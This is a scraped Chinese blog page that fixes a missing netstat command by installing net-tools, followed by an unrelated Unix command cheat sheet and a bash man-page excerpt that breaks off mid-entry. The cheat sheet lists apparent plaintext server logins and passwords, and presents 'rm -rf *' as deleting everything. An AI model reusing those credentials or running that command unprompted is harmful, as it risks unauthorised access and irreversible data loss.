-bash: netstat: 未找到命令

linux命令报错信息:-bash: netstat: 未找到命令

[root@localhost ~]# netstat -anp
-bash: netstat: 未找到命令

原因分析:缺少Net-tools,Net-tools 包含一系列程序,是构成了 Linux 网络的基础

解决办法: 安装依赖程序就好啦

[root@localhost ~]# yum -y install net-tools
[root@localhost ~]#  yum -y install net-tools
已加载插件:fastestmirror
Loading mirror speeds from cached hostfile
 * base: mirrors.cn99.com
 * extras: mirrors.cn99.com
 * updates: mirrors.nju.edu.cn
base                                                                                                           | 3.6 kB  00:00:00     
extras                                                                                                         | 2.9 kB  00:00:00     
updates                                                                                                        | 2.9 kB  00:00:00     
(1/2): extras/7/x86_64/primary_db                                                                              | 206 kB  00:00:00     
(2/2): updates/7/x86_64/primary_db                                                                             | 3.8 MB  00:00:01     
正在解决依赖关系
--> 正在检查事务
---> 软件包 net-tools.x86_64.0.2.0-0.25.20131004git.el7 将被 安装
--> 解决依赖关系完成

依赖关系解决

======================================================================================================================================
 Package                       架构                       版本                                         源                        大小
======================================================================================================================================
正在安装:
 net-tools                     x86_64                     2.0-0.25.20131004git.el7                     base                     306 k

事务概要
======================================================================================================================================
安装  1 软件包

总下载量:306 k
安装大小:917 k
Downloading packages:
net-tools-2.0-0.25.20131004git.el7.x86_64.rpm                                                                  | 306 kB  00:00:01     
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
  正在安装    : net-tools-2.0-0.25.20131004git.el7.x86_64                                                                         1/1 
  验证中      : net-tools-2.0-0.25.20131004git.el7.x86_64                                                                         1/1 

已安装:
  net-tools.x86_64 0:2.0-0.25.20131004git.el7                                                                                         

完毕!
[root@localhost ~]# netstat -anp   #查看linux网络状态
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 192.168.17.154:5601     0.0.0.0:*               LISTEN      9440/node           
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1027/sshd           
tcp        0     52 192.168.17.154:22       192.168.17.1:10270      ESTABLISHED 24192/sshd: root@pt 
tcp        0      0 192.168.17.154:60408    59.111.0.251:80         TIME_WAIT   -                   
tcp        0      0 192.168.17.154:36184    210.28.130.3:80         TIME_WAIT   -                   
tcp        0      0 192.168.17.154:36174    210.28.130.3:80         TIME_WAIT   -                   
tcp        0      0 192.168.17.154:60402    59.111.0.251:80         TIME_WAIT   -                   
tcp        0      0 192.168.17.154:60414    59.111.0.251:80         TIME_WAIT   -                   
tcp        0      0 192.168.17.154:36172    210.28.130.3:80         TIME_WAIT   -                   
tcp        0      0 192.168.17.154:36178    210.28.130.3:80         TIME_WAIT   -                   
tcp6       0      0 :::22                   :::*                    LISTEN      1027/sshd           
udp        0      0 127.0.0.1:323           0.0.0.0:*                           643/chronyd         
udp6       0      0 ::1:323                 :::*                                643/chronyd         
raw6       0      0 :::58                   :::*                    7           676/NetworkManager  
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node   PID/Program name     Path
unix  2      [ ]         DGRAM                    16640    643/chronyd          /var/run/chrony/chronyd.sock
unix  3      [ ]         DGRAM                    8705     1/systemd            /run/systemd/notify
unix  2      [ ]         DGRAM                    8707     1/systemd            /run/systemd/cgroups-agent
unix  2      [ ACC ]     STREAM     LISTENING     8722     1/systemd            /run/systemd/journal/stdout
unix  2      [ ACC ]     STREAM     LISTENING     13333    1/systemd            /run/systemd/private
unix  5      [ ]         DGRAM                    8725     1/systemd            /run/systemd/journal/socket
unix  10     [ ]         DGRAM                    8727     1/systemd            /dev/log
unix  2      [ ACC ]     SEQPACKET  LISTENING     13379    1/systemd            /run/udev/control
unix  2      [ ACC ]     STREAM     LISTENING     13421    1/systemd            /run/lvm/lvmpolld.socket
unix  2      [ ACC ]     STREAM     LISTENING     16502    1/systemd            /run/dbus/system_bus_socket
unix  2      [ ]         DGRAM                    13708    1/systemd            /run/systemd/shutdownd
unix  2      [ ACC ]     STREAM     LISTENING     13478    1/systemd            /run/lvm/lvmetad.socket
unix  2      [ ACC ]     STREAM     LISTENING     19111    676/NetworkManager   /var/run/NetworkManager/private-dhcp
unix  2      [ ]         DGRAM                    14409    499/systemd-udevd    
unix  3      [ ]         STREAM     CONNECTED     32775    1/systemd            /run/systemd/journal/stdout
unix  2      [ ]         DGRAM                    17028    649/systemd-logind   
unix  2      [ ]         DGRAM                    16624    643/chronyd          
unix  2      [ ]         DGRAM                    20108    1029/rsyslogd        
unix  3      [ ]         STREAM     CONNECTED     17501    676/NetworkManager   
unix  3      [ ]         STREAM     CONNECTED     20433    1026/python          
unix  3      [ ]         STREAM     CONNECTED     32774    9440/node            
unix  3      [ ]         STREAM     CONNECTED     14402    1/systemd            /run/systemd/journal/stdout
unix  3      [ ]         STREAM     CONNECTED     18681    641/dbus-daemon      /run/dbus/system_bus_socket
unix  3      [ ]         DGRAM                    14435    499/systemd-udevd    
unix  3      [ ]         STREAM     CONNECTED     14401    499/systemd-udevd    
unix  3      [ ]         STREAM     CONNECTED     16567    1/systemd            
unix  3      [ ]         STREAM     CONNECTED     17161    1/systemd            /run/systemd/journal/stdout
unix  2      [ ]         DGRAM                    17533    676/NetworkManager   
unix  3      [ ]         STREAM     CONNECTED     17160    658/crond            
unix  3      [ ]         STREAM     CONNECTED     17554    641/dbus-daemon      /run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     17502    1/systemd            /run/systemd/journal/stdout
unix  3      [ ]         STREAM     CONNECTED     18680    676/NetworkManager   
unix  2      [ ]         DGRAM                    497036   1/systemd            
unix  3      [ ]         STREAM     CONNECTED     20434    641/dbus-daemon      /run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     17553    676/NetworkManager   
unix  2      [ ]         DGRAM                    17562    641/dbus-daemon      
unix  3      [ ]         DGRAM                    14436    499/systemd-udevd    
unix  3      [ ]         STREAM     CONNECTED     16663    641/dbus-daemon      
unix  2      [ ]         DGRAM                    13532    463/systemd-journal  
unix  3      [ ]         STREAM     CONNECTED     17042    641/dbus-daemon      /run/dbus/system_bus_socket
unix  2      [ ]         DGRAM                    496526   24192/sshd: root@pt  
unix  2      [ ]         DGRAM                    16335    617/auditd           
unix  3      [ ]         STREAM     CONNECTED     19969    1/systemd            /run/systemd/journal/stdout
unix  3      [ ]         STREAM     CONNECTED     19916    1026/python          
unix  3      [ ]         STREAM     CONNECTED     19968    1027/sshd            
unix  3      [ ]         STREAM     CONNECTED     19917    1/systemd            /run/systemd/journal/stdout
unix  3      [ ]         STREAM     CONNECTED     17041    649/systemd-logind   
unix  3      [ ]         STREAM     CONNECTED     16662    641/dbus-daemon      
unix  3      [ ]         STREAM     CONNECTED     16664    641/dbus-daemon      /run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     16736    649/systemd-logind   
unix  3      [ ]         STREAM     CONNECTED     17372    653/polkitd          
unix  3      [ ]         STREAM     CONNECTED     16737    1/systemd            /run/systemd/journal/stdout
unix  2      [ ]         DGRAM                    17327    658/crond            
unix  3      [ ]         STREAM     CONNECTED     16344    617/auditd           
unix  3      [ ]         STREAM     CONNECTED     17373    641/dbus-daemon      /run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     16345    617/auditd           
unix  3      [ ]         STREAM     CONNECTED     14203    1/systemd            /run/systemd/journal/stdout
unix  3      [ ]         STREAM     CONNECTED     16615    641/dbus-daemon      
unix  2      [ ]         DGRAM                    17375    653/polkitd          
unix  3      [ ]         STREAM     CONNECTED     14202    486/lvmetad          
unix  3      [ ]         STREAM     CONNECTED     16616    1/systemd            /run/systemd/journal/stdout
  • 8
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
集合了 所有的 Unix命令大全 登陆服务器时输入 公帐号 openlab-open123 telnet 192.168.0.23 自己帐号 sd08077-you0 ftp工具 192.168.0.202 tools-toolss 老师测评网址 http://172.16.0.198:8080/poll/ 各个 shell 可互相切换 ksh:$ sh:$ csh:guangzhou% bash:bash-3.00$ 一、注意事项 命令和参数之间必需用空格隔开,参数和参数之间也必需用空格隔开。 一行不能超过256个字符;大小写有区分。 二、特殊字符含义 文件名以“.”开头的都是隐藏文件/目录,只需在文件/目录名前加“.”就可隐藏它。 ~/ 表示主目录。 ./ 当前目录(一个点)。 ../ 上一级目录(两个点)。 ; 多个命令一起用。 > >> 输出重定向 。将一个命令的输出内容写入到一个文件里面。如果该文件存在, 就将该文件的内容覆盖; 如果不存在就先创建该文件, 然后再写入内容。 输出重定向,意思就是说,将原来屏幕输出变为文件输出,即将内容输到文件中。 < << 输入重定向。 本来命令是通过键盘得到输入的,但是用小于号,就能够使命令从文件中得到输入。 \ 表示未写完,回车换行再继续。 * 匹配零个或者多个字符。 ? 匹配一个字符。 [] 匹配中括号里的内容[a-z][A-Z][0-9]。 ! 事件。 $ 取环境变量的值。 | 管道。把前一命令的输出作为后一命令的输入,把几个命令连接起来。 |经常跟tee连用,tee 把内容保存到文档并显示出来。 三、通用后接命令符 -a 所有(all)。 -e 所有(every),比a更详细。 -f 取消保护。 -i 添加提示。 -p 强制执行。 -r 目录管理。 分屏显示的中途操作 空格<space> 继续打开下一屏; 回车<return> 继续打开下一行; b 另外开上一屏; f 另外开下一屏; h 帮助; q或Ctrl+C 退出; /字符串 从上往下查找匹配的字符串; ?字符串 从下往上查找匹配的字符串; n 继续查找。 四、退出命令 exit 退出; DOS内部命令 用于退出当前的命令处理器(COMMAND.COM) 恢复前一个命令处理器。 Ctrl+d 跟exit一样效果,表中止本次操作。 logout 当csh时可用来退出,其他shell不可用。 clear 清屏,清除(之前的内容并未删除,只是没看到,拉回上面可以看回)。 五、目录管理命令 pwd 显示当前所在目录,打印当前目录的绝对路径。 cd 进入某目录,DOS内部命令 显示或改变当前目录。 cd回车/cd ~ 都是回到自己的主目录。 cd . 当前目录(空格再加一个点)。 cd .. 回到上一级目录(空格再加两个点)。 cd ../.. 向上两级。 cd /user/s0807 从绝对路径去到某目录。 cd ~/s0807 直接进入主目录下的某目录(“cd ~"相当于主目录的路径的简写)。 ls 显示当前目录的所有目录和文件。 用法 ls [-aAbcCdeEfFghHilLmnopqrRstux1@] [file...] ls /etc/ 显示某目录下的所有文件和目录,如etc目录下的。 ls -l (list)列表显示文件(默认按文件名排序), 显示文件的权限、硬链接数(即包含文件数,普通文件是1,目录1+)、用户、组名、大小、修改日期、文件名。 ls -t (time)按修改时间排序,显示目录和文件。 ls -lt 是“-l”和“-t”的组合,按时间顺序显示列表。 ls -F 显示文件类型,目录“/ ”结尾;可执行文件“*”结尾;文本文件(none),没有结尾。 ls -R 递归显示目录结构。即该目录下的文件和各个副目录下的文件都一一显示。 ls -a 显示所有文件,包括隐藏文件。 文件权限 r 读权限。对普通文件来说,是读取该文件的权限;对目录来说,是获得该目录下的文件信息。 w 写权限。对文件,是修改;对目录,是增删文件与子目录。 (注 删除没有写权限的文件可以用 rm -f ,这是为了操作方便,是人性化的设计)。 x 执行权限;对目录,是进入该目录 - 表示没有权限 形式 - rw- r-- r-- 其中 第一个是文件类型(-表普通文件,d表目录,l表软链接文件) 第2~4个是属主,生成文件时登录的人,权限最高,用u表示 第5~7个是属组,系统管理员分配的同组的一个或几个人,用g表示 第8~10个是其他人,除属组外的人,用o表示 所有人,包括属主、属组及其他人,用a表示 chmod 更改权限; 用法 chmod [-fR] <绝对模式> 文件 ... chmod [-fR] <符号模式列表> 文件 ... 其中 <符号模式列表> 是一个用逗号分隔的表 [ugoa]{+|-|=}[rwxXlstugo] chmod u+rw 给用户加权限。同理,u-rw也可以减权限。 chmod u=rw 给用户赋权限。与加权限不一样,赋权限有覆盖的效果。 主要形式有如下几种 chmod u+rw chmod u=rw chmod u+r, u+w chmod u+rw,g+w, o+r chmod 777( 用数字的方式设置权限是最常用的) 数字表示权限时,各数位分别表示属主、属组及其他人; 其中,1是执行权(Execute),2是写权限(Write),4是读权限(Read), 具体权限相当于三种权限的数相加,如7=1+2+4,即拥有读写和执行权。 另外,临时文件/目录的权限为rwt,可写却不可删,关机后自动删除;建临时目录:chmod 777 目录名,再chmod +t 目录名。 id 显示用户有效的uid(用户字)和gid(组名) 用法 id [-ap] [user] id 显示自己的。 id root 显示root的。 id -a root 显示用户所在组的所有组名(如root用户,是所有组的组员) df 查看文件系统,查看数据区 用法 df [-F FSType] [-abeghklntVvZ] [-o FSType 特定选项] [目录 | 块设备 | 资源] df -k 以kbytes显示文件大小的查看文件系统方式 六、显示文件内容 more 分屏显示文件的内容。 用法 more [-cdflrsuw] [-行] [+行号] [+/模式] [文件名 ...]。 显示7个信息:用户名 密码 用户id(uid) 组id(gid) 描述信息(一般为空) 用户主目录 login shell(登录shell) cat 显示文件内容,不分屏(一般用在小文件,大文件显示不下);合并文件,仅在屏幕上合并,并不改变原文件。 用法 cat [ -usvtebn ] [-|文件] ... tail 实时监控文件,一般用在日志文件,可以只看其中的几行。 用法 tail [+/-[n][lbc][f]] [文件] tail [+/-[n][l][r|f]] [文件] 七、文件/目录的增删 echo 显示一行内容。 touch 如果文件/目录不存在,则创建新文件/目录;如果文件存在,那么就是更新该文件的最后访问时间, 用法 touch [-acm] [-r ref_file] 文件... touch [-acm] [MMDDhhmm[yy]] 文件... touch [-acm] [-t [[CC]YY]MMDDhhmm[.SS]] file... mkdir 创建目录(必须有创建目录的权限) 用法 mkdir [-m 模式] [-p] dirname ... mkdir dir1/dir2 在dir1下建dir2 mkdir dir13 dir4 dir5 连建多个 mkdir ~/games 用户主目录下建(默认在当前目录下创建) mkdir -p dir6/dir7/dir8 强制创建dir8;若没有前面的目录,会自动创建dir6和dir7。 不用-p时,若没有dir6/dir7,则创建失败。 cp 复制文件/目录 cp 源文件 目标文件 复制文件;若已有文件则覆盖 cp -r 源目录 目标目录 复制目录;若已有目录则把源目录复制到目标目录下, 没有目标目录时,相当于完全复制源目录,只是文件名不同。 cp beans apple dir2 把beans、apple文件复制到dir2目录下 cp -i beans apple 增加是否覆盖的提示 mv 移动或重命名文件/目录 用法 mv [-f] [-i] f1 f2 mv [-f] [-i] f1 ... fn d1 mv [-f] [-i] d1 d2 mv 源文件名 目标文件名 若目标文件名还没有,则是源文件重命名为目标文件;若目标文件已存在,则源文件覆盖目标文件。 mv 源文件名 目标目录 移动文件 mv 源目录 目标目录 若目标目录不存在,则源目录重命名;若目标目录已存在,则源目录移动到目标目录下。 rm 删除文件/目录 用法 rm [-fiRr] 文件 ... rm 文件名 删除文件。 rm -r 目录名 删除目录。 rm –f 文件 只要是该文件或者目录的拥有者,无论是否有权限删除,都可以用这个命令参数强行删除。 rm -rf * 删除所有文件及目录 rmdir 删除空目录。只可以删除空目录。 ln 创建硬链接或软链接,硬链接=同一文件的多个名字;软链接=快捷方式 用法 ln [-f] [-n] [-s] f1 [f2] ln [-f] [-n] [-s] f1 ... fn d1 ln [-f] [-n] -s d1 d2 ln file1 file1.ln 创建硬链接。感觉是同一文件,删除一个,对另一个没有影响;须两个都删除才算删除。 ln -s file1 file1.sln 创建软链接。可跨系统操作,冲破操作权限;也是快捷方式。 八、时间显示 date 显示时间,精确到秒 用法 date [-u] mmddHHMM[[cc]yy][.SS] date [-u] [+format] date -a [-]sss[.fff] cal 显示日历 cal 9 2008 显示2008年9月的日历; cal 显示当月的 用法 cal [ [月] 年 ] 九、帮助 man 帮助( format and display the on-line manual pages) 用法 man [-] [-adFlrt] [-M 路径] [-T 宏软件包] [-s 段] 名称 ... man [-] [-adFlrt] [-M path] [-T macro-package] [-s section] name... man [-M 路径] -k 关键字 ... man [-M 路径] -f 文件 ... awk 按一定格式输出(pattern scanning and processing language) 用法 awk [-Fc] [-f 源代码 | 'cmds'] [文件] 十、vi 底行模式 /? 命令模式 i a o 输入模式 vi 的使用方法 1、光标 h 左 j 下 k 上 l 右 set nu 显示行号(set nonu) 21 光标停在指定行 21G 第N行 (G到文件尾,1G到文件头) 如果要将光标移动到文件第一行,那么就按 1G H 屏幕头 M 屏幕中间 L 屏幕底 ^ 或 shift+6 行首 $ 或 shift+4 行尾 Ctrl+f 下翻 Ctrl+b 上翻 2、输入 (输入模式) o 光标往下换一行 O (大写字母o)在光标所在行上插入一空行 i 在光标所在位置的前面插入字母 a 在光标所在位置的后面插入一个新字母 <Esc> 退出插入状态。 3、修改替换 r 替换一个字符 dd 删除行,剪切行 (5dd删除5行) 5,10d 删除 5 至 10 行(包括第 5行和第 10 行) x 删除一个字符 dw 删除词,剪切词。 ( 3dw删除 3 单词) cw 替换一个单词。 (cw 和 dw 的区别 cw 删除某一个单词后直接进入编辑模式,而dw删除词后仍处于命令模式) cc 替换一行 C 替换从光标到行尾 yy 复制行 (用法同下的 Y ,见下行) Y 将光标移动到要复制行位置,按yy。当你想粘贴的时候,请将光标移动到你想复制的位置的前一个位置,然后按 p yw 复制词 p 当前行下粘贴 1,2co3 复制行1,2在行3之后 4,5m6 移动行4,5在行6之后 u 当你的前一个命令操作是一个误操作的时候,那么可以按一下 u键,即可复原。只能撤销一次 r file2 在光标所在处插入另一个文件 ~ 将字母变成大写 J 可以将当前行与下一行连接起来 /字符串 从上往下找匹配的字符串 ?字符串 从下往上找匹配的字符串 n 继续查找 1,$s/旧串/新串/g 替换全文(或者 %s/旧串/新串/g) (1表示从第一行开始) 没有g则只替换一次,加g替换所有 3、存盘和退出 w 存盘 w newfile 存成新文件 wq 存盘再退出VI(或者ZZ或 X) q! 强行退出不存盘 查看用户 users 显示在线用户(仅显示用户名)。 who 显示在线用户,但比users更详细,包括用户名、终端号、登录时间、IP地址。 who am i 仅显示自己,(但包括用户名、端口、登录时间、IP地址;信息量=who)。 whoami 也仅显示自己,但只有用户名(仅显示自己的有效的用户名)。 w 显示比who更多内容,还包括闲置时间、占CPU、平均占用CPU、执行命令。 用法 w [ -hlsuw ] [ 用户 ] su 改变用户,需再输入密码。 用法 su [-] [ username [ arg ... ] ] su - 相当于退出再重新登录。 查找 find 查找文件 用法 find [-H | -L] 路径列表 谓词列表 find / -name perl 从根目录开始查找名为perl的文件。 find . -mtime 10 -print 从当前目录查找距离现在10天时修改的文件,显示在屏幕上。 (注 “10”表示第10天的时候;如果是“+10”表示10天以外的范围;“-10”表示10天以内的范围。) grep 文件中查找字符;有过滤功能,只列出想要的内容 用法 grep -hblcnsviw 模式 文件 . . . 如 grep abc /etc/passwd 在passwd文件下找abc字符 wc 统计 -l 统计行数; -w统计单词数; -c 统计字符数 如 grep wang /etc/passwd|wc -l 统计passwd文件含“wang”的行数 du 查看目录情况 如 du -sk * 不加-s会显示子目录,-k按千字节排序 用法 du [-a] [-d] [-h|-k] [-r] [-o|-s] [-H|-L] [文件...] 进程管理 ps 显示进程。 用法 ps [ -aAdeflcjLPyZ ] [ -o 格式 ] [ -t 项列表 ] [ -u 用户列表 ] [ -U 用户列表 ] [ -G 组列表 ] [ -p 进程列表 ] [ -g 程序组列表 ] [ -s 标识符列表 ] [ -z 区域列表 ] ps 显示自己的进程。 ps -e 显示每个进程,包括空闲进程。 ps -f 显示详情。 ps -ef 组合-e和-f,所有进程的详情。 ps -U uidlist(用户列表) 具体查看某人的进程。 kill pkill sleep jobs 用法 jobs [-l ] fg %n bg %n stop %n 挂起(仅csh能用) Ctrl+C Ctrl+Z 网络链接 ping usage ping host [timeout] usage ping -s [-l | U] [adLnRrv] [-A addr_family] [-c traffic_class] [-g gateway [-g gateway ...]] [-F flow_label] [-I interval] [-i interface] [-P tos] [-p port] [-t ttl] host [data_size] [npackets] ifconfig -a /sbin/ifconfig 查看本机的IP地址 netstat -rn rlogin ftp 帮助文件 [sd0807@localhost ~]$ help GNU bash, version 3.1.17(1)-release (i686-redhat-linux-gnu) These shell commands are defined internally. Type `help' to see this list. Type `help name' to find out more about the function `name'. Use `info bash' to find out more about the shell in general. Use `man -k' or `info' to find out more about commands not in this list. A star (*) next to a name means that the command is disabled. JOB_SPEC [&] (( expression )) . filename [arguments] [ arg... ] [[ expression ]] alias [-p] [name[=value] ... ] bg [job_spec ...] bind [-lpvsPVS] [-m keymap] [-f fi break [n] builtin [shell-builtin [arg ...]] caller [EXPR] case WORD in [PATTERN [| PATTERN]. cd [-L|-P] [dir] command [-pVv] command [arg ...] compgen [-abcdefgjksuv] [-o option complete [-abcdefgjksuv] [-pr] [-o continue [n] declare [-afFirtx] [-p] [name[=val dirs [-clpv] [+N] [-N] disown [-h] [-ar] [jobspec ...] echo [-neE] [arg ...] enable [-pnds] [-a] [-f filename] eval [arg ...] exec [-cl] [-a name] file [redirec exit [n] export [-nf] [name[=value] ...] or false fc [-e ename] [-nlr] [first] [last fg [job_spec] for NAME [in WORDS ... ;] do COMMA for (( exp1; exp2; exp3 )); do COM function NAME { COMMANDS ; } or NA getopts optstring name [arg] hash [-lr] [-p pathname] [-dt] [na help [-s] [pattern ...] history [-c] [-d offset] [n] or hi if COMMANDS; then COMMANDS; [ elif jobs [-lnprs] [jobspec ...] or job kill [-s sigspec | -n signum | -si let arg [arg ...] local name[=value] ... logout popd [+N | -N] [-n] printf [-v var] format [arguments] pushd [dir | +N | -N] [-n] pwd [-LP] read [-ers] [-u fd] [-t timeout] [ readonly [-af] [name[=value] ...] return [n] select NAME [in WORDS ... ;] do CO set [--abefhkmnptuvxBCHP] [-o option] [arg ...] shift [n] shopt [-pqsu] [-o long-option] opt source filename [arguments] suspend [-f] test [expr] time [-p] PIPELINE times trap [-lp] [arg signal_spec ...] true type [-afptP] name [name ...] typeset [-afFirtx] [-p] name[=valu ulimit [-SHacdfilmnpqstuvx] [limit umask [-p] [-S] [mode] unalias [-a] name [name ...] unset [-f] [-v] [name ...] until COMMANDS; do COMMANDS; done variables - Some variable names an wait [n] while COMMANDS; do COMMANDS; done { COMMANDS ; } 输入 man help BASH_BUILTINS(1) BASH_BUILTINS(1) NAME bash, :, ., [, alias, bg, bind, break, builtin, cd, command, compgen, complete, continue, declare, dirs, disown, echo, enable, eval, exec, exit, export, fc, fg, getopts, hash, help, history, jobs, kill, let, local, logout, popd, printf, pushd, pwd, read, readonly, return, set, shift, shopt, source, suspend, test, times, trap, type, typeset, ulimit, umask, una- lias, unset, wait - bash built-in commands, see bash(1) BASH BUILTIN COMMANDS Unless otherwise noted, each builtin command documented in this section as accepting options preceded by - accepts -- to signify the end of the options. For example, the :, true, false, and test builtins do not accept options. : [arguments] No effect; the command does nothing beyond expanding arguments and performing any specified redirections. A zero exit code is returned. . filename [arguments] source filename [arguments] Read and execute commands from filename in the current shell environment and return the exit status of the last command executed from filename. If filename does not contain a slash, file names in PATH are used to find the directory containing file- name. The file searched for in PATH need not be executable. When bash is not in posix mode, the current directory is searched if no file is found in PATH. If the sourcepath option to the shopt builtin command is turned off, the PATH is not searched. If any arguments are supplied, they become the positional parameters when filename is executed. Otherwise the positional parameters are unchanged. The return status is the status of the last command exited within the script (0 if no commands are executed), and false if filename is not found or cannot be read. alias [-p] [name[=value] ...] Alias with no arguments or with the -p option prints the list of aliases in the form alias name=value on standard output. When arguments are supplied, an alias is defined for each name whose value is given. A trailing space in value causes the next word to be checked for alias substitution when the alias is expanded. For each name in the argument list for which no value is supplied, the name and value of the alias is printed. Alias returns true unless a name is given for which no alias has been defined. bg [jobspec ...] Resume each suspended job jobspec in the background, as if it had been started with &. If jobspec is not present, the shell’s notion of the current job is used. bg jobspec returns 0 unless run when job control is disabled or, when run with job con- trol enabled, any specified jobspec was not found or was started without job control. bind [-m keymap] [-lpsvPSV] bind [-m keymap] [-q function] [-u function] [-r keyseq] bind [-m keymap] -f filename bind [-m keymap] -x keyseq:shell-command bind [-m keymap] keyseq:function-name bind readline-command Display current readline key and function bindings, bind a key sequence to a readline function or macro, or set a readline variable. Each non-option argument is a command as it would appear in .inputrc, but each binding or command must be passed as a sepa- rate argument; e.g., ’"\C-x\C-r": re-read-init-file’. Options, if supplied, have the following meanings: -m keymap Use keymap as the keymap to be affected by the subsequent bindings. Accept- able keymap names are emacs, emacs-standard, emacs-meta, emacs-ctlx, vi, vi-move, vi-command, and vi-insert. vi is equivalent to vi-command; emacs is equivalent to emacs-standard. -l List the names of all readline functions. -p Display readline function names and bindings in such a way that they can be re-read. -P List current readline function names and bindings. -v Display readline variable names and values in such a way that they can be re- read. -V List current readline variable names and values. -s Display readline key sequences bound to macros and the strings they output in such a way that they can be re-read. -S Display readline key sequences bound to macros and the strings they output. -f filename Read key bindings from filename. -q function Query about which keys invoke the named function. -u function Unbind all keys bound to the named function. -r keyseq Remove any current binding for keyseq. -x keyseq:shell-command Cause shell-command to be executed whenever keyseq is entered. The return value is 0 unless an unrecognized option is given or an error occurred. break [n] Exit from within a for, while, until, or select loop. If n is specified, break n levels. n must be ≥ 1. If n is greater than the number of enclosing loops, all enclosing loops are exited. The return value is 0 unless the shell is not executing a loop when break is executed. builtin shell-builtin [arguments] Execute the specified shell builtin, passing it arguments, and return its exit sta- tus. This is useful when defining a function whose name is the same as a shell builtin, retaining the functionality of the builtin within the function. The cd builtin is commonly redefined this way. The return status is false if shell-builtin is not a shell builtin command. cd [-L|-P] [dir] Change the current directory to dir. The variable HOME is the default dir. The variable CDPATH defines the search path for the directory containing dir. Alterna- tive directory names in CDPATH are separated by a colon (:). A null directory name in CDPATH is the same as the current directory, i.e., ‘‘.’’. If dir begins with a slash (/), then CDPATH is not used. The -P option says to use the physical directory structure instead of following symbolic links (see also the -P option to the set builtin command); the -L option forces symbolic links to be followed. An argument of - is equivalent to $OLDPWD. If a non-empty directory name from CDPATH is used, or if - is the first argument, and the directory change is successful, the absolute path- name of the new working directory is written to the standard output. The return value is true if the directory was successfully changed; false otherwise. caller [expr] Returns the context of any active subroutine call (a shell function or a script exe- cuted with the . or source builtins. Without expr, caller displays the line number and source filename of the current subroutine call. If a non-negative integer is supplied as expr, caller displays the line number, subroutine name, and source file corresponding to that position in the current execution call stack. This extra information may be used, for example, to print a stack trace. The current frame is frame 0. The return value is 0 unless the shell is not executing a subroutine call or expr does not correspond to a valid position in the call stack. command [-pVv] command [arg ...] Run command with args suppressing the normal shell function lookup. Only builtin com- mands or commands found in the PATH are executed. If the -p option is given, the search for command is performed using a default value for PATH that is guaranteed to find all of the standard utilities. If either the -V or -v option is supplied, a description of command is printed. The -v option causes a single word indicating the command or file name used to invoke command to be displayed; the -V option produces a more verbose description. If the -V or -v option is supplied, the exit status is 0 if command was found, and 1 if not. If neither option is supplied and an error occurred or command cannot be found, the exit status is 127. Otherwise, the exit status of the command builtin is the exit status of command. compgen [option] [word] Generate possible completion matches for word according to the options, which may be any option accepted by the complete builtin with the exception of -p and -r, and write the matches to the standard output. When using the -F or -C options, the vari- ous shell variables set by the programmable completion facilities, while available, will not have useful values. The matches will be generated in the same way as if the programmable completion code had generated them directly from a completion specification with the same flags. If word is specified, only those completions matching word will be displayed. The return value is true unless an invalid option is supplied, or no matches were generated. complete [-abcdefgjksuv] [-o comp-option] [-A action] [-G globpat] [-W wordlist] [-P prefix] [-S suffix] [-X filterpat] [-F function] [-C command] name [name ...] complete -pr [name ...] Specify how arguments to each name should be completed. If the -p option is sup- plied, or if no options are supplied, existing completion specifications are printed in a way that allows them to be reused as input. The -r option removes a completion specification for each name, or, if no names are supplied, all completion specifica- tions. The process of applying these completion specifications when word completion is attempted is described above under Programmable Completion. Other options, if specified, have the following meanings. The arguments to the -G, -W, and -X options (and, if necessary, the -P and -S options) should be quoted to protect them from expansion before the complete builtin is invoked. -o comp-option The comp-option controls several aspects of the compspec’s behavior beyond the simple generation of completions. comp-option may be one of: bashdefault Perform the rest of the default bash completions if the compspec gen- erates no matches. default Use readline’s default filename completion if the compspec generates no matches. dirnames Perform directory name completion if the compspec generates no matches. filenames Tell readline that the compspec generates filenames, so it can per- form any filename-specific processing (like adding a slash to direc- tory names or suppressing trailing spaces). Intended to be used with shell functions. nospace Tell readline not to append a space (the default) to words completed at the end of the line. plusdirs After any matches defined by the compspec are generated, directory name completion is attempted and any matches are added to the results of the other actions. -A action The action may be one of the following to generate a list of possible comple- tions: alias Alias names. May also be specified as -a. arrayvar Array variable names. binding Readline key binding names. builtin Names of shell builtin commands. May also be specified as -b. command Command names. May also be specified as -c. directory Directory names. May also be specified as -d. disabled Names of disabled shell builtins. enabled Names of enabled shell builtins. export Names of exported shell variables. May also be specified as -e. file File names. May also be specified as -f. function Names of shell functions. group Group names. May also be specified as -g. helptopic Help topics as accepted by the help builtin. hostname Hostnames, as taken from the file specified by the HOSTFILE shell variable. job Job names, if job control is active. May also be specified as -j. keyword Shell reserved words. May also be specified as -k. running Names of running jobs, if job control is active. service Service names. May also be specified as -s. setopt Valid arguments for the -o option to the set builtin. shopt Shell option names as accepted by the shopt builtin. signal Signal names. stopped Names of stopped jobs, if job control is active. user User names. May also be specified as -u. variable Names of all shell variables. May also be specified as -v. -G globpat The filename expansion pattern globpat is expanded to generate the possible completions. -W wordlist The wordlist is split using the characters in the IFS special variable as delimiters, and each resultant word is expanded. The possible completions are the members of the resultant list which match the word being completed. -C command command is executed in a subshell environment, and its output is used as the possible completions. -F function The shell function function is executed in the current shell environment. When it finishes, the possible completions are retrieved from the value of the COMPREPLY array variable. -X filterpat filterpat is a pattern as used for filename expansion. It is applied to the list of possible completions generated by the preceding options and argu- ments, and each completion matching filterpat is removed from the list. A leading ! in filterpat negates the pattern; in this case, any completion not matching filterpat is removed. -P prefix prefix is added at the beginning of each possible completion after all other options have been applied. -S suffix suffix is appended to each possible completion after all other options have been applied. The return value is true unless an invalid option is supplied, an option other than -p or -r is supplied without a name argument, an attempt is made to remove a comple- tion specification for a name for which no specification exists, or an error occurs adding a completion specification. continue [n] Resume the next iteration of the enclosing for, while, until, or select loop. If n is specified, resume at the nth enclosing loop. n must be ≥ 1. If n is greater than the number of enclosing loops, the last enclosing loop (the ‘‘top-level’’ loop) is resumed. The return value is 0 